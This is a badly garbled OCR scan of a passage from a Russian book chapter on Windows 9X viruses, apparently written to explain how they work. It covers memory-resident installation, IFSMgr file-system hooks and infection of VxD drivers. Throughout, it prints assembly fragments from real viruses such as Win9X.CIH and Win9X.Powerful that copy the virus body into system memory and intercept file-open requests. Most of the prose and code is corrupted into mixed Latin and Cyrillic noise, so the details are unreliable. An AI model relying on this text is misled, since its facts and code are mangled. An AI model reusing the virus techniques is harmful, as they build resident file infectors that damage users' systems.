flnMHa o6.nacTM a™  noncKa (ne MnoroeaTo jih??? 
CoCCTBeHHP nOHGK

le a  es i,[ebp+ 402002] ; CTapTosyJi aapec Bnpyca
mov ecx,0000008C2 ; ftnnHa snpyca

repe movsb ; CcocTBeHHO KonnpoBaHHe

IIohhtho, hto KaK mribKO napy W indow s noHaao6aTca 3aHHTbie ko- 
aoM BHpyca o6aacTH, CHCTeMa HeMeaaeHHO pyxHeT. TeM He MeHee s to t  

MaaoHaaeacHHH MeToa HHCTaaaniiHH b naMHTb Hcnoab30BaacH bo mho-
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ra x  Bkpycax, HanpHMep b  Win9X.MarkJ, Win9X.Anxiety.1958, Win9X. 
Julus.1890 h  npoHHx.

4.3.7.4. MHcmajuiHU,UH e duHOMimecKU ebidejweMyw 
c u c m e M H y w  n a j w i m b

3 t o t  mcto/i TaKace o6peji 6ojibuiyio nonyjiHpHocTb « 6jiaroaap«» bh - 
pycy Win9X.CIH. Ho caM «HepHo6biJib»- b to h  Harm , koto pan othocht- 
c h  k  ycTaHOBKe b naMHTb, ycTpoeH HecKOJibKO 3aMbicji0BaT0 -  co6npaeT 
CBoe TeJio H3 OT^eJibHbix (J>parMeHTOB, pa36pocaHHbix no 3apaaceHHOH 
nporpaMMe, a &rra aToro HecKOJibKO pa3 «cKaHeT» H3 3-ro KOJibija 3amH- 
tm  b 0-e h o6paTHo. Kopoye roBopH, /taBafiTe npoHJunocrpHpyeM mctoa 
Ha npHMepe apyroro, 6o;iee npocToro h HenpHTH3aTejibHoro BHpyca, h c- 
nojib3yiomero T y  ace naeio. Ilepefl BaMH <J>parMeHT KOfla «caM0pa3MH0- 
acaiomerocH MexaHH3Ma» non H33BaHHeM Win9X.Powerful.1773:
; BbiRenenne c t paHMuw cuctsmh* 
push OOFh

push
push
push
push
push
push

OQOti 
100000 
OOOtl 
OOOh
000 h
001 h

npunoKeHKi!
push
in t
dw
dw
add
o r
je

004h 
20h 
53 h

e sp ,020 
eax ,eax  
.0004050A1

in naMATM
BmoBwe ij»iarM jyis CTpaHKu: 1 -  o6HyjieHHue,
2 " BW pOBH6HHbie, . . .

. . .  4 -  HenpepwBHbie, 8 -  HeBbtrpy#aeMwe 
Aflpec Syijepa nns aapeca 
BepxHiiJi xenaeMuS aapec 
HmxhmB xeflaeMbiii aflpec
BupaBHMBaHne; 0 -  4 K6, 1 -  8 K6, 3 -  16 K6 vt t .  d 
XjHfl.n BupTya^bHofl MauiMHy
ffle e u f le .n A T b : 1 -  b c h c t6 m h o m  n a M a T H ; 0 -  B n a n f lT M

K0J1M 4SCTB0 C TpaH H U  

VMMCall
Kofl cepBuca "PageAllooaTe"
Kofi VMM
OMMCTKa creKa, TaK o k  VMM He fle/iaei 3Toroi 
B EAX (u b EDX) aapec CTpaHMiiw. nojiymwocb?
(lepexoa no oum6Ke

; KonnpoBaHne Bupyca 
mov e d i , eax
mov e s i,e b p
mov ecx, 0000006ED
repe movsb

BHfleneHHye CTpaHnuy
Aflpec BbfleJieHHOft ciicTeMHoJi naMsmi 
Aflpec HaMa.na Bupyca 
ilJinHa Bupyca 
KorwposaTb

/Ipyryio MoaĤ HKaiiHio 3Toro Merofla n.iJiK>cTpnpyeT 4>pameHT BHpy
ca Win9X.MoUy.725:
; BbifleneHwe $parMenTa us "cucTeMHoCi K.yMU"
push
in t
dw

0000007D2h
20h
ODh

Pa3Kep eufle/iBeHoro iSparweHTa 
VxO Ca ll
Koa cepBHca "GetHeap"
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dw 40h Kofi a p a f is e p a  IFSMgr -  MHCTa/uinpyeMOH (J iaJ i/ioB o ii c u c ie M u

x c h g  e c x , e a x B e a x  -  a f ip e c  B W fie .n e H H o ro  ( ip a r M e m a

p o p  e a x O M w cTK a c t e K a  + n 3 B J ie q e m * e  a jim h n  B H p y c a

; K o m ip o B a H iie  B H p y c a  b  e u f le j ie H H b if i  0 p a rw e H T

x c h g  e c x , e a x r to M e c T M T b  f ln M H y  B H p y c a  s ECX
mov e d i.e a x f lo M e c T H T b  a a p e c  $ p a rM e H T a  e EOI
le a  e s i,[e b p -O B h ] floMecTmb aflpec Havana BHpyca b  ESI
r e p e  m o v s b K o n n p c e a T b

KaK bw MoaceTe BHfleTb, cepBHcm>ie nponeaypbi Hcn0iib30BaHbi pa3Hbie 
(«PageAllocate» h  «GetHeap»), a pe3yjibTaT /jocrarajT o a h h  h tot x e  -  
rae-'ro b rjiy6nnax c h c t c m h o h  naMHTH Windows BbmejieH «HenpHKaca- 
eMHH> <J)parMeHT c h c t c m h o h  naMHTH. TaKHM 06pa30M, B H p y c  HaxoflHT 
ce6e yKpoMHMH yro/iOK, rae ero h h k t o  He TpoHeT, h  KonnpyeT b Hero CBoe 
Teao. Ho 3Toro Majio. Tenepb eMy Heooxo/iHMo KaKHM-To 06pa30M HCKaTb 
nejiH /ijih 3apaaceHHH, h o  0 6 s t o m  no3»ce.

4.3.7.5. Bcmpaueanue e (pawioeyto cucmemf
PaHee m u CHHTajm «Windows-flpaHBep ycTpoiicTBa» neM-To uejibiM 

h Hejem vihiM. Kohchho, Hanoojiee npocTbie Windows-apaiiBepbi aeft- 
CTBHTeJIbHO Cn0C06HbI H  OOMeHHBaTbCH flaHHblMH C npHKJiaflHWMH npo- 
rpaMM3MH, H  OflHOBpeMeHHO B3aHM03eHCTB0BaTb CO BHeiUHHMH VCTpoii- 
CTB3MH, -  TaKHe flpaHBepbi cymecTByroT h Ha3biBaK)TCH M OH OJium m m u. 

H o  b o6meM cjiynae 3T 0 He TaK. TiraHHHUH «W indows-apaHBep» npefl- 
CTaBJweT co6oh cJioacHyro MHoroypoBHeBjao cncTeMy, cocTonmyio H3 
pa3JIHMHbLX KOMnOHCHTOB: OflHH OTBeHaiOT 3a HHTep<J)eHC C npHKjTaflHbl- 
mh nporpaMMaMH, apyrne pea.msyioT o6o6meHHbie cTpaTenm  pa6oTbi 
cflaHHbiMH (HanpHMep, « 6iioyHbie» h «cnMBOJibHbie»), TpeTbH Henocpea- 
CTBeHHO B3aHMOaeHCTByiOT C yCTpOHCTB3MH Hepea nopTbl BBOfla-BblBOfla, 
HeTBepTbie «(|)HJibTpyK)T» h 4nepeynaK0BUBai0T» n0T 0KH flaHHbix Meacay 
ypOBHHMH H T. n. Ka^CflblH KOMnOHeHT 0(}x)pMJieH B BHfle He33BHCHMOrO 
nporpaMMHoro MOflyjiH (b  W indow s 9X sto VxD-apaHBep), Hcnojib3_yeT 
CBOH Co6cTBeHHbIH <J>OpMaT o6MeHa flaHHblMH C TipyrHMH KOMnOHeHTaMH 
h npeflOCTaBJineT hm onpeaejieHHbiii H a 5 o p  cepBHCHbix nponeflyp, koto- 
p u ii mojkho paccMaTpHBaTb KaK BHyrpHCHCTeMHUH API. Mbi yace 06- 
cyayiaJiH 3to o6cTOHTe.>ibCTBo, Koraa paccMaipHBajiH «HecTaHflapTHbie» 
cepBHCbi, HcnoJib3yeMbie BHpycaMH. HacTaJio BpeMH BepHyTbcn k  3T0My 
Bonpocy h ocBeTHTb eme oahh \to.tok TeMHoro HVJiana noa Ha3BaHHeM 
^CHCTeMHan apxHTeKTj'pa W indows^.

Pe4b npeHMymecTBeHHo noiiaeT oo opramoauHH (fiaHJioBbix chctcm 
b W indow s 9X. IIo  yMOJinaHHio Window's noaaepacHBaeT HecKOJibKO
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(fiaftjIOBblX C H C TeM  flJIH X p a n e H H H  ZiaHHblX H a  pa3 JIH H H M X  (J)H3HMeCKHX 

y c T p o iic T B a x : VFAT, VCDFS (c jja iijio B a H  CHCTeM a /ij ih  KO M naKT-^H C K O B) 

h  n p o M H X . CymecTByeT B 03M 0>KH 0CTb flo6aB JiH Tb  k  h h m  h o b w c  4>aHJio- 

B u e  C H C Te M H , H a n p H M e p  NTFS h j i h  <J)aHJioByio C H C Te M y  jy r a  no/i/tep>KKH 

Flash-naMara. OrBenaeT 3a 3Ty B03M 05KH 0CTb K O M n o H e H T  IFSMgr -  Me- 
HeflyKep H H TC Ta .n jiH p y e M b ix  (J)a H JioB bix  c h c tc m . O h  n o flz ie p jK H B a e T u e n o H - 

K y  o 6p a 6o TH H K Q B  3 a n p o c o B  k  4>aH JioB H M  CH C TeM aM  ( « x y K O B » ) .

Pmc. 4 .13  ❖ MeHeflxep HHCTajuiHpyeMbix 
<J>afi/ioBbix cucteM  b Windows 9X

3anpoc Ha 4>aibioBbiH bbo^-bwboa, nocrymiBiiiHH o t  np iiK Jia /tH o fl 

nporpaMMbi, BocnpHHHMaeTca IF S M gr ( m h  yace p a c c M a T p iiB a jra  npHMe- 
pw o6pameHHH k 3T0My KOMnoHeirry b pa3flejie «KaK  BHpycbi o6pamaioT- 
CH K CHCTeMHbIM CepBHCaM»), npOXOflHT nOCJieflOBaTeJIbHO no «3BeHbflM» 
uenoMKH h , 6yayHH pacno3HaH TeM h j i h  h h w m  06pa60TT« iK 0M, nonaaaeT 
b t o t  h j i h  h h o h  apaftBep (F S D  -  F ile System Driver).

TnnHHHoe noBe^euHe pesH^eHTHoro BHpyca b Windows 9X 3aKjnoqa- 
eTCH B TOM, HTo6u  BCTpOHTbCH B nenOHKy 06pa60T4HK0B, HCnOJIb3y» flJM 
SToro BnojiHe jrerajibHbie cpe/icTBa -  /lOKyMeHTHpoBaHHbie cHCTeMHbie 
3anpocH k IFSMgr. 3a HJunocTpauHen SToro npneMa npome Bcero onaTb 
o6paTHTbca k Koay BHpycoB ceMeHOTBa Win9X.CIH:

le a  eax ,[ed i][0F FFFFC F7 ] ; Aflpec h o b o to  o6pa6oTH>iK.a 
push eax ;
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i n t  '20h : V xd C a ll
dw 67h ; Kofl cepBw ca ' 'IF 8M g r_ In s ta llF ile S ys tem A p iH o o k "
dw 40h ; Ko a  fipatoepa IFSMgr -  HHCTaji/inpyeMow ifa fi/ io B o fi cm ctsm w

mov drO ,eax ; CoxpaHMTb aflpec c T a p o ro  oOpafioTMWKa
pop eax

Bbi30B «IFSMgr_InstallFileSystemApiHook» B03BpamaeT b  peracrpe 
EAX aapec  caeay iom ero  KOMnoHeHTa, BCTpoeHHoro b  ueno^Ky o 6 pa - 
6 0 TyHK0 B 3anpocoB  k  IFSMgr. BH pyc Hcnojih3 yeT ero, h t o 6h  nepeaaTb  

3aripoc a a a w iie  b  ueno^K y 0 6 pa6 0 THHK0 B. E c jih  ripHXo/uiT 3anpoc Ha 

BCTpaHBaHHe b ueno4Ky co cropoHbi eme KaKoro-HH6yab  K O M n o H e H Ta , t o  

BHpyc CTapaeTCH ocraTbca caMHM nepBbiM «3BenoM ».
3 an p oc  Ha BbinojiHeuHe onepam iH  BBoaa-BbiBoaa, nocrynaiom H H  b  

uenoMKy o 6 pa6 oTHHKOB co cTopoHbi IFSMgr, HMeeT (J>opMaT, onncaH - 

HbiH b (fjaiLie «IFS.H> KOMnneKTa MS DDK (c m . napaM eTpw (JjyHKUHH 
«IFSFileHookFunc»). TaKHM 0 6 pa3 0 M, n pn  noayneHiiH  ynpaBJiem ia 0 6 - 
pa6 0 T'iHK0 M b CTeKe HaxoflOTca:

O  ESP+OOh -  a a p e c  B 0 3 B p a Ta ;

O  ESP+04h -  a a p ec  n p o iiea j^ p w  b apaH B epe, K yaa  nepeaaB aTb  ynpaB- 
jieH H e;

O  ESP+08h -  K o a  a e H C T B H a  (0 -  M H T a T t  4>ana, 1 -  n n c a T b ,  24h -  o t -  

KpbiTb, OBh -  3aKpHTb, 2Ch -  HCKaTb nepBbm 4>aiui, 2 -  HCKan> 
CJieayiouiHH c})aH;i h npoMHe);

O  ESP+OCh -  H oM ep aiicKa (HaHHHaa c 1, a e c a n  -1, t o  s to  He a n c K );

O  ESP+lOh -  THn pecypca (HanpHMep, <£aHa);
O  ESP+14h -  KoaoBaa CTpam m a p a  c tp o k h  hmchh (Jjanaa:
O ESP+18h-aapec cTpyiaypbilOREQ.
A  b o t  noaa 3 t o h  caMoft cTpyKrypbi IOREQ:

ir _ le n g tn dd ? +00 flflMHa 6y<j)epa napaMeTpoe
i r _ f la g s db ? +04 Pa3H006pa3Hbie $.narn flocryna
ir _ u s e r db ? +05 ID nonbaoBaTera
ir _ s f n dw ? +06 CHCTeMHWk! H0M@p ®3iijia
ir _ p id dd ? +08 ID BW3UBaiomero npouecoa
ir_ p p a th dd 7 +0C Aflpec mem ijia&jia b UNUC0DE
ir_aux1 dd ? +10 Aflpec BTopMMHoro n0^b30BaTeflbCK0r0 6y$epa
ir _ d a ta dd ? +14 Aflpec nepBM4H0r0 no/ibsoBaTe/ibCKoro 6y<()epa
ir _ o p t io n s db ? +18 OnuMH 3anpoca
ir _ e r r o r dw ? +1C Kofl oium6 kh (0 -  HeT ouih6kw)
ir _ rh dd ? +20 XaHfl/i pecypcoe
ir _ f t i dd ? +24 Xsh e-h ij>ataa
ir_ p o s dd ? +28 flosMHHH b (JsaCi/ie
ir_ aox2 dd ? +2C PasHwe aono/iHHTe/ibHue tiapaMeTpy
ir_au x3 dd ? +30 Pa3Hue flono/iHHTenbnwe napaMeTpu
ir_ p e v dd ? +34 yKasaTe^b Ha ceMaifiop IFSMgr
ir _ f s d db 16 dup (? ) +38 PaSoMee np0CTpaHCTB0
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H y  b o t  h  Bee, T e n e p b  k o a  o 6 p a 5 o -n iH K a  3anpocoB  BBoaa-BH Boaa, y c r a -  

HaBJiHBaeMHH B H pycoM  W in9X.CIH, 6 ya eT  6 o j i e e  n o h a tc h  w r a T e ^ io :

pusha CMemeHHe ESP Ha 20H 6a&TOB
c a l l $+5 TpaflMMMOHHOe...
pop e s i . . . BUMMCJieHMe. ..
add e s i,  303h ... fle/ibTa-CMeneHMS
te s t b y te  p t r  [ e s i ] , i flpoeepKa tfuiara

in z near p t r  Sk ip2 3to "c a M 0 B y 3 0 B ” -  nponycT vsT b

le a ebx, [esp+28h] fl03HUMR B CTeKe KOfla fle iiC TB M fl

cmp dword p t r  [ebx ], 24h 3to s a n p o c  Tu na  ' 'otkpu tb

jn z near p t r  S k ip l HeT -  npo nycT M T b

ino b y te  p t r  [ e s i] HHKpeMeHTMpoBaTb $ n a r

; 3fiscb $parM6HT sapan sH ns , KOTopwii mu nponycK.aeM

S k ip l:
popa 
mov
Imp

Skip2:
dec 
mov 
push 
c a l l

popa 
re tn

TaKHM o6pa30M, stot o6pa6oTHHK pea.iH3yeT <TpoaKyio» Mo^ejib no- 
Be/ieHHH:

O ecjin npHxoaHT 3anpoc Ha oTKpurae (Jjanjia, to BHpyc 113-
BJieKaeT H3 Hero hmh 4>aftjia (KOTopoe Hcnojib3yeT nna nonbrncH 
3apaaceHHH), B 3 B 0 flH T cjwiar-ceMacJjop 11 n 0B T 0p H 0 n e p e H a n p a B Jia e T  

3 to t 3anpoc b IFSM gr; 
O  ecJiH H3 IF S M g r npiixoaHT 3anpoc npa B3BeAeHH0M cjwiare, to 3to 

4>aKTHHeCKH CBOH Co6cTBeHHbIH 3anpOC, H BHpyc (He 3a6bIB c6po- 
CHTb (Jxrar) nepeHanpaBJiHeT ero apaHBepy 4>aHJiOBOH CHCTeMbi;

O  ecjin 3anpoc He KacaeTca oncpMTHH cf)aHJia, to  Biipyc nponycnaeT 

ero aa.Tbine no neno^Ke 0 6pa6 0TLrnK0B.
Boo6me roBopa, « xIepHo6hiJib» -  He caMbrii npocroH BHpyc h  Tpe6y- 

eT /(OBOJibHo r.iy6 oKoro noHHMaHHH npHnnnnoB pa6oTbi Windows, He 
TaK .>iii? BepoaTHo, HMeHHO nosTQMy MHorae nocJieaoBaTejiH TaHBanb-

eax , drO 
dword p t r  [e a x ]

Aflpec cneflywuerc o 6 p a 6 o T m « a  

flepexofl

byte  p t r  [ e s i- 5 ]  
ebx, esp
dword p t r  [ebx+38h] 
dword p t r  [ebx+24h]

/leKpeMeHTnpoeaTb ijw ar

napaweTpu 3anpoca 
Bbi3BaTb npouecypy b FSO
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CKoro cTy/jeHTa MeH Hht Xay (aBTopa 3Toro BHpyca) npeanoHMxaJiH 
npocro-HanpocTo «nepeaHpan>» ero opHnmajibHbiH Koa, TiuaTejihHo 
npOKOMMeHTHpOBaHHbffl H Ony6jIHKOBaHHUH B a.UCKTpOHHOM acypHaJie 
«Codebreakers», bmccto Toro hto6h n0JiL30BaTbcH 3ajioaceHHbiMH b bh- 
pyce HflestMH.

CnpaBefljiHBocTH paaw caeayeT ocasaTb, mto nepBbie noribiTKH BCTpan- 
BaHHH BHpycoB b 4>aiiJioByio cHCTeMy M03CH0 o6HapyacHTb 3aaoaro ao 
W in9X.CIH -  yace b «paHHnx» Windows-BHpycax 1996 r. (Win9X. 
Harry 11 Win9X.Ybyo.653), HcxoaHbie tckcth Koropbix 0ny6jiHK0BaHbi 
b atypHajie «Vlad». Ho yaaHHbiMH hx npjreHaTb Heabsa, nocKo;ibKy ohh 
coHeTa/m Hcn0Jib30BaHHe 3anpocoB k IFSMgr c npaMbiM Moaiicfnimipo- 
BaHiieM cHCTeMHbix Ta6jnm Windows no kohkpcthhm aapeca.M. BepcHH 
h pejiH3bi onepanHOHHbix cHcreM MeHHJiHCb nepe3 roa (a to  h paHbiue!), 
aapeca «nabiJin», h BHpycw Tepa;iH pa6oTocnoco6HocTb.

4.3.8. Bupycw -  BMpTyanbHbie apanBepbi
3 t o  caoacHaa h  a 0 B0JibH0  peaK aa pa3H0BnaH0CTb KOMnbiOTepribix BHpy

coB. C  tohkh 3penna BHpycoriHcaTejiH, y  pe3HaeHTHoro Biipyca, oc})opM- 
jieiiHoro KaK chctcmhwh apaiiBep, ecTb orpoM Hoe /ioctohhctbo -  3a ero  

3arpy3Ky h  HHHUHajni3aimio oTBenaeT Windows, ri03T0My eMy He Tpe- 
6 yeTCH BbinOJIHHTb HHK3KHX npeflBapHTe.’IbHblX <Te/ro/I.BHaCeHHil» flJIH 

nepexoaa  b Hy;ieBoe Koiibuo 3amHTbi h HHCTaajiaqHH b rraMaTb. C apy- 
roH  cTopoHM, HanacaHHe apaiiBepoB -  BecbMa HerpHBHaabHaa 3aaana, 

rp e 6y iom aa  o t  aBTopa cneiinaabH oro  nporpaM M Horo hhcrpyMeHTapjih 
h OMeHb rjiySoK oro  n p 0HHKH0 BeHHa b npHHqHnw ycTponcTBa h pa6oTM 
onepauHOHHOH cHCTeMU.

B pa3Hwx BepcHKX Windows Hcnoab3yioTca pa3Hee Moaean apaiiBe- 
poB. Eme b 3noxy Windows 3.X noHBiuiacb VxD-Moaejib apaiiBepa, ko- 
Topaa noASepaciiBaeT h 16-pa3paaHbiH, h 32-pa3paaHMH Koa h KOTopyio 
cMHTaioT «CBoeH» Taicace Bee pa3H0BHflH0cra Windows 9X. «PoaHoii» ace 
W in Windows NT/2000/XP/2003 aBaaeTca SYS-Moaeab 32-pa3paaHHX 
apailBepoB (^legacy drivers). KpoMe Toro, uinpoKo pacnpocTpaHeHa «yHH- 
BepcajibHaa» Moaeab W D M  («Windows Driver Models), KOTopyio noHH- 
\iaioT Bee coBpeMeHHbie BepcHH, KpoMe Windows 95 h Windows NT 4.0.

HecMOTpa Ha MHoroHHcaeHHbie «HaeoaonnecKHe» pa3JiHHHa, Bee a r a  

Mo/ie/ra hmckdt o6mne nepTbi. ZIpaitBepH aio6oro Tuna cyrb fliiHaMHHe- 
cKiie 6ii6jraoTeKH oco6oro poaa, KOTOpue npeaocTaBaaioT npnmiaaHbiM 
h CHCTeMHbiM nporpaMMaM cboh MHoroMHCJieHHbie npoueaypu. IIo- 
3T0My B HHX, KaK npaBH.'IO, MHOaceCTBO TOMeK BXO^a, K KOTOpbIM Moryr 
•«npuueniiTbca» BHpycw. Bupycw, HcnojibayiomHe sto 06cT0aTejibCTB0,
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o 6 h h h o  3 a p a a c a ro T  c u c T e M H w e  a p a i iB e p b i  W i n d o w s  h  a o n o J iH H T e j ib H O H  

H H C T a n j iH U H H  H e  T p e 6 y K > T , r r o c K O J ib K y  n o j iy n a io T  y n p a B a e m i e  B M e c T e  

c  a p a f t B e p o M - « H o c H T e ^ e M » . O / m a K O  e c n b  h  B n p y c u ,  K O T o p w e  a p y r a x  

a p a i iB e p o B  H e  a a p a a c a iO T , a  ca M H  n o  c e 6 e  n p e a c T a B J ia io T  O T / ie j ib H b iH  n p o -  

r p a M M H b if i  M oa y jih , cx p o p w ie H H b m  K a K  a p a m e p .  B  s t o m  o r y ^ a e  B H p y c y  

H e o 6 x o z iH M o  « 3a p e r i! C T p H p o B a T b C f l»  b  o n e p a u H O H H o n  c n c T e M e ,  h t o 6 m  

n o j i j 'M H T b  y n p a B J ie u H e  n o c / ie  n e p e 3 a r p y 3 K H  K O M n b io T e p a .  Jim i  S T o r o  b  

W i n d o w s  9 X  B H p y c ,  H M e io w H H  ( J jo p M a T  V X D - a p a H B e p a ,  M o a c e r .

O  n o M e c T H T b  c b o h  cJjaH.T b  K a T a j i o r  « C : \ W i n d o w s \ S Y S T E M \  

I O S U B S Y S » ;

O  y n o M H H y r b  c e 6 s i  b  c e K U H H  [ 3 8 6 e n h ]  < })aii/ia < S Y S T E M . I N I » ;

O  B n H c a x b  c e 6 s t  b  k b io h  P e e c T p a  « H K L M \ S y s t e m \ C u r r e n t C o n t r o l -  

S e t \ S e r v i c e s \ V x D \ k e y \ S t a t i c V x D » .

C  3 T 0 H  a c e  u e ^ b io  S Y S - f l p a f i B e p  b  W i n d o w s  N T  f lO J ix e H  n o M e c T H T b  

H H cJjo p M a n H io  o  c e 6 e  b  n o a m n o H H  b b t b h  P e e c T p a  «  H K  L. M \ S  Y S T E M \  

C u r r e n t C o n t r o l S e t \ S e r v i c e s \ H M H _ s p a H B e p a » .

43.8.1. VxD-eupycu
CuanaJia o6paTHM Ham B3op Ha Bupycw-flpaHBepw, npeAHa3HaMeHHbie 

Ajih pa6oTbi b  W i n d o w s  9 X .  V x D - M O / ie j i H ,  x a p a ic r e p H O H  z y r a  s t o h  b c t b h  

onepauHOHHHX c h c t c m  W i n d o w s  (a TaiOKe a ah O S / 2 ) ,  cooTBeTcrByeT 
L E -4 > o p M a T  (jjaftjiOB, KOTopHH m b i c e m a c  paccMorpHM n o/ ip o6 n ee . K an  

h  m o 6 a x  W i n d o w s - n p o r p a M M a ,  4 > a ft ji ap a iiB ep a  H a M m a e - r c a  c D O S - 3 a r o -  

J io B K a , K 0 T 0 p b iH  T p aO T O H O H H O  c o f le p jK H T  a flpec  W in d o w s -3aro.noBKa n o  

cMemeHHK) 3 C h . W in d o w s - 3 aro;ioBO K a im  LE-({)opMaTa xapaKTepH3yeT- 
ch, KaK Jierao floraflan>CH, cHraaTypoH ‘LE’ ( 6aHra 4Ch h  45h). /IjiHHa 
«LE-3aro.,ioBKa» 176 SaiiTOB, oh c o a e p x n r  ijo h th  iio jic o th h  n o jie S , o m i -  

CHBatomnx cjxoacHyio cTpyicrypy V x D -< j> a H J ia . O m m i e M  b HeM TOJibKO H e - 

KOTOpMe, HaH6o;iee BaacHbie m ix  Hac n o . r a .

LE_S igna tu re

L E _ ln it ia l_ C S
L E _ In it ia l_ E I P

LE_Memory_Page_Size

LE_O b ject_Tab le_O ffse t 
LE_0bj ec t_Tab le_En r r i  es

LE_E ritry_Tab le_O ffse t

LE_Data_Pages_O ffset

dw 454Ch 
db  22 d u p ( ? )

dd ? 
dd ?
db  8 d u p ( ? )

dd ?
d b  20 d u p ( ? )  

dd ? 
dd ?

dd 20 d u p ( ? )

dd ?
db 32 dup(?)
dd ?

+00 -  C M m aT ypa  'L E '

+18
+1C

HCMep ce rM eH Ta  unit row km  s x o a a  

CMemeHHe to m k h  B xoa a  b c e rM e H T e

+2S -  paaMep ceKTopa

+40
+44

aflpec TaSnnqw cerMeHTOB 
KOJiMMecTBO 3anMce(i b ra tn m e

+5C -  aapec TafiJinubi sxoxneHMft 

+8 0  -  CMeuieHwe .06/ ia c T n  K o a a /a a H H u x
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O a iiJ i apaHBepa pa36nT Ha OTAeJibHbie c e rM e m u , npeAHa3Ha4eHHbie 

ajih xpaHeHHH Tex hjih h h h x  K0Mii0HeHT0B ApaHBepa. CemeHTbi onn- 
caHbi b cneunajibHOH TaojiHne, MecTonojioaceHHe h kojihhcctbo 3anHceii 
b K0T0p0H onpeAejwioTCH noJiHMH « L E _ O b je c t _ T a b le _ O f f s e t »  h « L E _  

O b je c t _ T a b le _ E n  t r ie s *  c00TBeTCTBeHH0 . K aacaan  3anncb stoh  Ta6jinubi 
H M e e T c jie A y io m H H  cJw pM aT:

S egS ize  dd ?
BaseAdr dd ?
F la g s  dd ?
Page lnd dd ?
PageNuu dd ?
SecName db 4

+00ft Pa3Mep cerMeHTa 
+04h Aapec cerMeHTa
+08ti BMTOBwe ifuiarM ( 6ht 2 -  nporpaMMHwii Koa)
+0Ch flopflflKOBWii HOMep cerMeHTa (Ham-iHaq c 1)
+10h CKO/ibKO ceKTopoB saHMMaei cerMeHT
+14h 4-cnMB0JibH09 ums cerMeHTa

Ka*Abiii c e rM e H T  3aHHMaeT uejioe h h c jio  ceKTopoB  (n o  yMOJwaHHK) 
h x  A JiM Ha 5 1 2  6a H T O B ), c jie A O B a Te Jib H O , b  K O H n e  c e rM e H Ta  06biH H 0 o c T a - 

eTCH HeHcnojib3yeMoe np0CTpaHCTB0. Bupyc Navrhar ( s t o  c jio b o  no- 
C JiO B aiiK H  0 3 H a n a e T  «yM ejien») b c t s b j ih c t  b  K o n e q  o a h o t o  H3 cerMeHTOB 

c b o h  c T a p T O B U H  <|)parMeHT, a o c T a J ib H y io  nacrb CBoero Tejia A o r o ic u B a e T  

k  4>a H A y 3apa»caeMoro ApaHBepa. B n p o T H B o n o jio a c H o c T b  s T O M y  BHpycw 
ceMeiicTBa Win9X.Hom n p ii im c b iB a io T  k  t^ a ft jiy  h o b u h  cerMeHT c  HMe- 
HeM ‘ H O R N ’ co c b o h m  t c j io m  h  Ao6aBJinioT b  Ta6jn m y c e m e H T O B  c o o t -  

BeTCTBjTomyio 3anncb. KcTara, sto HenpocraH onepamw, Beflb 3aroJioBKH 

h cjiy*e6HHe Ta6jnmbi b LE-<J>aHJie pacnoJioaceHu BnpHTbiK Apyr k  Apy- 
ry. BnpycaM 3Toro ceMeftcTBa nopofi npHXOAHTCH 3aHHManbCH a o j i t o h  h  

t p v a h o h  <nepeABH»:KOH Me6e ji«» , npeayie HeM h m  yAaeTca «BmicaTbCH» 
b  A p a ftB e p .

H y  AaAHO, npeAnojioacH M , h to  BHpyc c t o h  h jih  h h o h  cTeneH bio kom - 

(JxipTa Bce-TaKH pa3MecTHJicn BHyTpH cJ>aHJia ApaHBepa. H o  BeAb HyacHO 

em e  icaK-To o 6 paTHTb Ha ceon  BHHMaHHe.

O a h h  H3 cerMeHTOB ApaHBepa MoaceT coAepacaTb nporpaMMHbift koa, 
aBTOMaTHnecKH cpa6aTbiBaiomHH npH 3arpy3Ke ero b naMHTb. /Ijih Ta- 

Koro cerMema nopHAKOBbiii HOMep coBnaAaeT co 3HaneHHeM n o m  « L E _  

In itia l_C S » b 3aroJioBKe, a CHMBCJibHoe hmh name Bcero ecTb ‘R C O D ’. 
CMemeHHe nepBoii KOMaHAU 3Toro k oa3  0TH0CHTejibH0 Hanajia c e rM e m a  

xpaHHTCH b n o jie  «L E _In it ia l_E IP »-. H o  3Ta TOHKa BxoAa H e oneHb npn- 
BJieKaTeJibHa ajih BHpycoB, noTOMy hto OHa b ApaHBepax A0B0jibH0 nacTo 

npocTo oTcyTCTByeT, Aa h  BunoJiHHeTca ee koa b peajibHOM peaciiMe.
IloaTOMy 6ojibiuHHCTBo BHpycoB H in yT BHyrpH ApaHBepa Apyrne 

«ABepn» h « o K H a » .  IlyTb  k h u m  yKa3MBaeT «Ta 6jmna b x o x c a ^ h h h  » , Mec- 
T o n o jio 3KeHHe KOTopoii onpeAejineTCH 3Ha4eHHeM nojin « L E _ E n t r y _  

T a b le _ O f fs e t » .  C  cfjopMajibHoii t o h k h  3peHHH, 3Ta ra 6 jn m a  c o c t o h t  H3
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3araiceH n e p e M e H H O H  flJiHHbi h  HenocTOHHHoft c r p y K T y p b i .  H o  b o  Bcex 

V X D -apa0B epax  h j i h  W i n d o w s  9X 3anncn HMeioT o ju ih  h  t o t  >Ke b h ^ :

ET_Nent db 1 ; +00 Ko/wMecTso noA3anncen (sce rAa  1?)
ET_Flags db 3 ; +01 Tun noAsanncei* (1 -  16-6nTOBue aapeca, 3 -  32-6nTOBtre anpsoa)
ET .Index dw 1 ; +02 nopflflKOBUH HOHep 3anncn (sce ra a  1?)
; EfiuHCTBeHHas noasanncb
SE_Flag db  ?  ; +04 EnroBue  0.narn noflaanncM  ( 6 k t  1 -  sKcnopm pyeMbin o 6 b e K T )

SE_Adr dd ? ; +05 32-6moebin (sce rf la ? )  aapec oSbe iaa

C M e m e H H H  06t e K T 0B, oriH C biB a eM bie  1 6 - h j i h  3 2 -6 h t o b h m  n o jie M  

« S E _ A d r » ,  O TC H H TH B a ro TC H  o t  H a n a jia  o 6j ia c T i i  k o a  a h  a a H H b ix  (cm . n o jie  

« L E _ D a t a _ P a g e s _ O f f s e t »  b  « r J ia B H 0M > 3a ro jio B K e ). H t o  »ce s t o  3a « o 6t>- 

e K T M » ?  I Io c K o .x b K y  b  T a o J iim e  B x o a y ie H H H  n p H c y T c r a y e T  B c e ro  oflH a 

3 a n n c b  h  o n n c b iB a e T  O H a e/jH H C TB e H H b iii S K c n o p ra p y e M b iH  o 6t e K T ,  t o  

s t o  h  e c T b  3H aM eH HTbifii D D B  -  D e v ic e  D e s c r ip t o r  B lo c k  ( « 6j io k  o n n -  

ca H H H  y c T p o H C T B a » ) ,  co fle p a ca m H H  o c h o b h jt o  c jiya ce6H y io  H H cJiopM aqH io  

o  a p a iiB e p e :

00B_Next dd ■> ; +00 CobiJiKa na c j ie A y w in i i  flpafiBep, s a n o f lH f le r c f l  Windows
